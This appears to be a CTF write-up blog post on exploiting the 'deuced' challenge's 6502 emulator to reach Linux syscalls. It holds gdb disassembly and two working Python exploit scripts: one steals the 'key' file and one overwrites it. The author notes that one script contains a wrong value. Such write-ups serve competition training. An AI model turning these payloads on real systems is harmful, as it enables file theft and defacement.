[pic 6 : A part of many cases. Macros are used very often]
And there is an interesting part in the source code.
#define M_PUSH(Rg) Wr6502(0x0100|R->S,Rg);R->S--#define M_POP(Rg) R->S++;Rg=Op6502(0x0100|R->S)Above push/pop implementation means that stack section is only 256 bytes size from 0x0100 to 0x01FF and R->S is the stack pointer.
If you looked at Rd6502 and Wr6502 very well, you won't miss that the data section is only 65536 bytes size from 0x0000 to 0xFFFF. Stack section is a part of data section. So the memory structure is like following.
[pic 7 : M6502 Memory area]
Do you remember the address 0x80519A0? It's the address the received data is copied to.
OK. Let's go back to [pic 6]. We can see every branch in 'Codes.h'. but we don't need to look into every branch there. Just go into the function Op6502 (sub_8048BF0). Then we can see some strange branches.
We can reach to the [jmp eax] instruction with some condition satisfied. First, the parameter of Op6502 must be 0xFFF0. Second, some data relative to 0x80517A0 must be 0x80, And last, the first 1 byte of R must less than or equal to 6. Then, we can jump to somewhere.
(gdb) x/7w 0x804FDF80x804fdf8: 0x08048dc1 0x08048c72 0x08048dc1 0x08048c9a0x804fe08: 0x08048cf3 0x08048d49 0x08048d9e(gdb)When eax is 0 or 2, it just jump to the end of Op6502. Then, let's disassemble 0x8048c72.
*** Caution : The disassembled code of gdb is not like one of IDA-Pro. In binary operations, the order of two parameters are different from each other. ***
where eax == 1 : exit
(gdb) x/100i 0x8048c72
0x8048c72: movzwl 0xfffffff4(%ebp),%eax0x8048c76: movzbl 0x80517a0(%eax),%eax0x8048c7d: movzbl %al,%eax0x8048c80: mov %eax,0x4(%esp)0x8048c84: movl $0x1,(%esp)0x8048c8b: call 0x8048b600x8048c90: mov %al,0x80517600x8048c95: jmp 0x8048dc1(gdb) x/100i 0x8048b600x8048b60: pop %ecx0x8048b61: pop %eax0x8048b62: push %ecx0x8048b63: int $0x800x8048b65: pushl (%esp)0x8048b68: retWow! interrupt 0x80 means calling a systemcall. If we can make the input data to satisfy the condition, we can execute systemcalls! Of course in this case, available systemcall number is 1.
Let's look at every available systemcall.
syscall 3 : read
(gdb) x/100i 0x8048c9a
0x8048c9a: movzwl 0xfffffff4(%ebp),%eax
0x8048c9e: add $0x3,%eax
0x8048ca1: movzwl %ax,%eax
0x8048ca4: mov %eax,(%esp)
0x8048ca7: call 0x8048b70
0x8048cac: movzwl %ax,%ebx ; the third parameter --> ebx
0x8048caf: movzwl 0xfffffff4(%ebp),%eax
0x8048cb3: add $0x1,%eax
0x8048cb6: movzwl %ax,%eax
0x8048cb9: mov %eax,(%esp)
0x8048cbc: call 0x8048b90
0x8048cc1: mov %eax,%edx ; the second parameter --> edx
0x8048cc3: movzwl 0xfffffff4(%ebp),%eax
0x8048cc7: movzbl 0x80517a0(%eax),%eax
0x8048cce: movzbl %al,%eax
0x8048cd1: mov %ebx,0xc(%esp) ; the third parameter
0x8048cd5: mov %edx,0x8(%esp) ; the second parameter
0x8048cd9: mov %eax,0x4(%esp) ; the first parameter
0x8048cdd: movl $0x3,(%esp)
0x8048ce4: call 0x8048b60
0x8048ce9: mov %al,0x8051760
0x8048cee: jmp 0x8048dc1
syscall 4 : write
0x8048cf3: movzwl 0xfffffff4(%ebp),%eax
0x8048cf7: add $0x3,%eax
0x8048cfa: movzwl %ax,%eax
0x8048cfd: mov %eax,(%esp)
0x8048d00: call 0x8048b70
0x8048d05: movzwl %ax,%ebx ; the third parameter --> ebx
0x8048d08: movzwl 0xfffffff4(%ebp),%eax
0x8048d0c: add $0x1,%eax
0x8048d0f: movzwl %ax,%eax
0x8048d12: mov %eax,(%esp)
0x8048d15: call 0x8048b90
0x8048d1a: mov %eax,%edx ; the second parameter --> edx
0x8048d1c: movzwl 0xfffffff4(%ebp),%eax
0x8048d20: movzbl 0x80517a0(%eax),%eax
0x8048d27: movzbl %al,%eax
0x8048d2a: mov %ebx,0xc(%esp) ; the third parameter
0x8048d2e: mov %edx,0x8(%esp) ; the second parameter
0x8048d32: mov %eax,0x4(%esp) ; the first parameter
0x8048d36: movl $0x4,(%esp)
0x8048d3d: call 0x8048b60
0x8048d42: mov %al,0x8051760
0x8048d47: jmp 0x8048dc1
syscall 5 : open
0x8048d49: movzwl 0xfffffff4(%ebp),%eax
0x8048d4d: add $0x2,%eax
0x8048d50: movzwl %ax,%eax
0x8048d53: mov %eax,(%esp)
0x8048d56: call 0x8048b70
0x8048d5b: movzwl %ax,%esi ; the third parameter --> esi
0x8048d5e: movzwl 0xfffffff4(%ebp),%eax
0x8048d62: add $0x2,%eax
0x8048d65: movzwl %ax,%eax
0x8048d68: mov %eax,(%esp)
0x8048d6b: call 0x8048b70
0x8048d70: movzwl %ax,%ebx ; the second parameter --> ebx
0x8048d73: movzwl 0xfffffff4(%ebp),%eax
0x8048d77: mov %eax,(%esp)
0x8048d7a: call 0x8048b90
0x8048d7f: mov %esi,0xc(%esp) ; the third parameter
0x8048d83: mov %ebx,0x8(%esp) ; the second parameter
0x8048d87: mov %eax,0x4(%esp) ; the first parameter
0x8048d8b: movl $0x5,(%esp)
0x8048d92: call 0x8048b60
0x8048d97: mov %al,0x8051760
0x8048d9c: jmp 0x8048dc1
syscall 6 : close
(gdb) x/100i 0x08048d9e
0x8048d9e: movzwl 0xfffffff4(%ebp),%eax
0x8048da2: movzbl 0x80517a0(%eax),%eax
0x8048da9: movzbl %al,%eax
0x8048dac: mov %eax,0x4(%esp) ; the first parameter
0x8048db0: movl $0x6,(%esp)
0x8048db7: call 0x8048b60
0x8048dbc: mov %al,0x8051760
0x8048dc1: movzwl 0xffffffe2(%ebp),%eax
0x8048dc5: movzbl 0x80517a0(%eax),%eax
0x8048dcc: movzbl %al,%eax
0x8048dcf: add $0x30,%esp
0x8048dd2: pop %ebx
0x8048dd3: pop %esi
0x8048dd4: pop %ebp
0x8048dd5: ret
There are two kinds of data read. One is loading data. And another is loading pointer.
0x8048b70 and 0x8048b90 are them.
And we can see a pattern like this.
0x8048c9a: movzwl 0xfffffff4(%ebp),%eax0x8048c9e: add $0x3,%eax0x8048ca1: movzwl %ax,%eax0x8048ca4: mov %eax,(%esp)0x8048ca7: call 0x8048b700x8048cac: movzwl %ax,%ebx
You have not enough information about this pattern. The only thing you should know about this is 'what is at 0xFFFFFFF4(%ebp)?'. Go back and look at the second top box of [pic 8]. There is something about 0x0104. That value is there.
read 2-byte-long data at (data_section + offset)
(gdb) x/100i 0x08048d9e
0x8048b70: push %ebp
0x8048b71: mov %esp,%ebp
0x8048b73: sub $0x10,%esp
0x8048b76: mov 0x8(%ebp),%eax
0x8048b79: movzwl %ax,%eax
0x8048b7c: add $0x80517a0,%eax
0x8048b81: mov %eax,0xfffffffc(%ebp)
0x8048b84: mov 0xfffffffc(%ebp),%eax
0x8048b87: movzwl (%eax),%eax
0x8048b8a: movzwl %ax,%eax
0x8048b8d: leave
0x8048b8e: ret
read 2-byte-long pointer at (data_section + offset)
(gdb) x/100i 0x8048b90
0x8048b90: push %ebp
0x8048b91: mov %esp,%ebp
0x8048b93: sub $0x4,%esp
0x8048b96: mov 0x8(%ebp),%eax
0x8048b99: movzwl %ax,%eax
0x8048b9c: mov %eax,(%esp)
0x8048b9f: call 0x8048b70
0x8048ba4: movzwl %ax,%eax
0x8048ba7: add $0x80517a0,%eax
0x8048bac: leave
0x8048bad: ret
It took very long time to prepare attacking. Now it's the time to make an attack code.
Let's execute 'open' systemcall. Final conditions to execute 'open' systemcall are following.
1. 2-byte-data at (data_section + stack pointer + 0x0106) will become the third parameter of 'open' systemcall, but it's not necessary. Just fill 0.
2. 2-byte-data at (data_section + stack pointer + 0x0108) should be 0 (O_RDONLY) or something including read permission.
3. 2-byte-pointer at (data_section + stack pointer + 0x010A) should point the string 'key'.
I'll design the stack like this and set R->S (stack pointer) 0.
0x80518a0 : 0x80 0x21 0x14 0x01 0x0c 0x01 0x00 0x000x80518a8 : 0x00 0x00 0x0c 0x01 0x6b 0x65 0x79 0x000x80518b0 : 0x80 0x80 0x80 0x80 0x80 0x80 0x80 0x800x80518b8 : 0x80 0x80 0x80 0x80 0x80 0x80 0x80 0x800x80518c0 : 0x80 ...
The violet data describes the third parameter. It has no special meaning. The blue one describes the second parameter, and the red one describes the first parameter. As we see, the green data at (data_section + stack pointer + 0x010C) is 'key\0'.
Rest of data is filled with 0x80 to make (data_section + stack pointer + (gray data value - 1)) points always '0x80'. I cannot control the whole data of gray data because it's a part of return address. We need to the code length should be longer than 0x1400.
Return address? What's that?
We should execute open-read-write with one packet. So we should design subroutines. Remember that M6502 supports subroutine and it's able with JSR(Jump to Subroutine) and RTS(Return from Subroutine). Of course in this case we are trying to execute only 'open' systemcall, so we don't need to consider the return address. But doing this now will help the real attack.
So the code to execute 'open' systemcall is like this.
python code
#!/usr/local/bin/python
import os, socket, string
tlen = 0x10000 # data size 4 bytes (rough value)
str = ''
str += chr(tlen & 0xff)
str += chr((tlen >> 8) & 0xff)
str += chr((tlen >> 16) & 0xff)
str += chr((tlen >> 24) & 0xff) # encoding data size
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0x10fd # to make code longer than 0x1400
# code length will over 0x1400 with following codes
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x00' + '\x48' # +0x10f
str += '\xa9' + 'y' + '\x48' # +0x10e
str += '\xa9' + 'e' + '\x48' # +0x10d
str += '\xa9' + 'k' + '\x48' # +0x10c
str += '\xa9' + '\x01' + '\x48' # +0x10b
str += '\xa9' + '\x0c' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\x00' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x01' + '\x48' # +0x105
str += '\xa9' + '\x0c' + '\x48' # +0x104
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x05' # open syscall
str += '\x20\xf0\xff' # JSR instruction
######################################
str += '\x92' # to finish
str += '\x60' * (tlen - len(str)-0x200) # RTS instruction
str += '\x00\x02' * 0x102 # to make entry point 0x80517A0 + 0x0200
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 2056))
sock.send(str)
Executing 'read' systemcall and 'write' systemcall are a little more difficult than executing 'open' systemcall because of the offsets of parameters. If you want to know exactly, you can revisit above 'systemcall 3 : read' and 'systemcall 4 : write'.
Finally, the final exploit codes are below.
steal.py (python code)
#!/usr/local/bin/python
import os, socket, string
tlen = 0x10000
str = ''
str += chr(tlen & 0xff)
str += chr((tlen >> 8) & 0xff)
str += chr((tlen >> 16) & 0xff)
str += chr((tlen >> 24) & 0xff)
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0x10fd
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x00' + '\x48' # +0x10f
str += '\xa9' + 'y' + '\x48' # +0x10e
str += '\xa9' + 'e' + '\x48' # +0x10d
str += '\xa9' + 'k' + '\x48' # +0x10c
str += '\xa9' + '\x01' + '\x48' # +0x10b
str += '\xa9' + '\x0c' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\x00' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x01' + '\x48' # +0x105
str += '\xa9' + '\x0c' + '\x48' # +0x104
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x05' # open syscall
str += '\x20\xf0\xff'
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x80' + '\x48' # +0x10f
str += '\xa9' + '\x80' + '\x48' # +0x10e
str += '\xa9' + '\x80' + '\x48' # +0x10d
str += '\xa9' + '\x80' + '\x48' # +0x10c
str += '\xa9' + '\x80' + '\x48' # +0x10b
str += '\xa9' + '\x80' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\xff' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x00' + '\x48' # +0x105
str += '\xa9' + '\x03' + '\x48' # +0x104 // file descriptor
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x03' # read syscall
str += '\x20\xf0\xff'
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x80' + '\x48' # +0x10f
str += '\xa9' + '\x80' + '\x48' # +0x10e
str += '\xa9' + '\x80' + '\x48' # +0x10d
str += '\xa9' + '\x80' + '\x48' # +0x10c
str += '\xa9' + '\x80' + '\x48' # +0x10b
str += '\xa9' + '\x80' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\xff' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x00' + '\x48' # +0x105
str += '\xa9' + '\x00' + '\x48' # +0x104 // socket descriptor
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x04' # write syscall
str += '\x20\xf0\xff'
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x80' + '\x48' # +0x10f
str += '\xa9' + '\x80' + '\x48' # +0x10e
str += '\xa9' + '\x80' + '\x48' # +0x10d
str += '\xa9' + '\x80' + '\x48' # +0x10c
str += '\xa9' + '\x80' + '\x48' # +0x10b
str += '\xa9' + '\x80' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\xff' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x00' + '\x48' # +0x105
str += '\xa9' + '\x00' + '\x48' # +0x104 // file descriptor
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x06' # close syscall
str += '\x20\xf0\xff'
######################################
str += '\x92' # to finish
str += '\x60' * (tlen - len(str)-0x200)
str += '\x00\x02' * 0x102
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 2056))
sock.send(str)
val = ''
val = sock.recv(300)
print val
deface.py (python code)
#!/usr/local/bin/python
import os, socket, string
tlen = 0x10000
str = ''
str += chr(tlen & 0xff)
str += chr((tlen >> 8) & 0xff)
str += chr((tlen >> 16) & 0xff)
str += chr((tlen >> 24) & 0xff)
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0x10fd
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x00' + '\x48' # +0x10f
str += '\xa9' + 'y' + '\x48' # +0x10e
str += '\xa9' + 'e' + '\x48' # +0x10d
str += '\xa9' + 'k' + '\x48' # +0x10c
str += '\xa9' + '\x01' + '\x48' # +0x10b
str += '\xa9' + '\x0c' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\x00' + '\x48' # +0x107
str += '\xa9' + '\x01' + '\x48' # +0x106
str += '\xa9' + '\x01' + '\x48' # +0x105
str += '\xa9' + '\x0c' + '\x48' # +0x104
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x05' # open syscall
str += '\x20\xf0\xff'
######################################
str += '\xa9'
str += '\x80'
key = 'ABCDEFGHIJKLMNOPQRSTUVWXYZABCDEFGHIJKLM'[::-1]
stub = ''
stub += '\xa9' + '\x00' + '\x48'
for c in key:
stub += '\xa9'
stub += c
stub += '\x48'
for i in range(1, 10):
stub += '\xa9' + '\x80' + '\x48' # +0x110
stub += '\xa9' + '\x80' + '\x48' # +0x10f
stub += '\xa9' + '\x80' + '\x48' # +0x10e
stub += '\xa9' + '\x80' + '\x48' # +0x10d
stub += '\xa9' + '\x80' + '\x48' # +0x10c
stub += '\xa9' + '\x80' + '\x48' # +0x10b
stub += '\xa9' + '\x80' + '\x48' # +0x10a
stub += '\xa9' + '\x00' + '\x48' # +0x109
stub += '\xa9' + '\x00' + '\x48' # +0x108
stub += '\xa9' + '\x28' + '\x48' # +0x107
stub += '\xa9' + '\x01' + '\x48' # +0x106
stub += '\xa9' + '\x1b' + '\x48' # +0x105
stub += '\xa9' + '\x03' + '\x48' # +0x104 // socket descriptor
stub += '\xa9' + '\x01' + '\x48' # +0x103
#stub += '\xa9' + '\x11' + '\x48' # +0x102
str += '\x48' * (257 - len(stub.split('\x48')))
str += stub
str += '\xa9'
str += '\x04' # write syscall
str += '\x20\xf0\xff'
######################################
str += '\xa9'
str += '\x80'
str += '\x48' * 0xf2
str += '\xa9' + '\x80' + '\x48' # +0x110
str += '\xa9' + '\x80' + '\x48' # +0x10f
str += '\xa9' + '\x80' + '\x48' # +0x10e
str += '\xa9' + '\x80' + '\x48' # +0x10d
str += '\xa9' + '\x80' + '\x48' # +0x10c
str += '\xa9' + '\x80' + '\x48' # +0x10b
str += '\xa9' + '\x80' + '\x48' # +0x10a
str += '\xa9' + '\x00' + '\x48' # +0x109
str += '\xa9' + '\x00' + '\x48' # +0x108
str += '\xa9' + '\xff' + '\x48' # +0x107
str += '\xa9' + '\x00' + '\x48' # +0x106
str += '\xa9' + '\x00' + '\x48' # +0x105
str += '\xa9' + '\x03' + '\x48' # +0x104 // file descriptor
str += '\xa9' + '\x01' + '\x48' # +0x103
#str += '\xa9' + '\x11' + '\x48' # +0x102
str += '\xa9'
str += '\x06' # close syscall
str += '\x20\xf0\xff'
######################################
str += '\x92' # to finish
str += '\x60' * (tlen - len(str)-0x200)
str += '\x00\x02' * 0x102
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('localhost', 2056))
sock.send(str)
In deface.py, there is a wrong value somewhere. Of course it works but the overwritten key file might not be like what we put.
It was very hard time to analyze deuced and to make the attack code. But the last day, we finally breakthrough the deuced!!!
I hope this helps the hackers preparing DEFCON CTF.
Thank you for reading very long article.
*** I think code highlighting is not supported yet. I'll correct as soon as it's supported. ***
written by proXima, a member of PLUS@postech team.
댓글 없음:
댓글 쓰기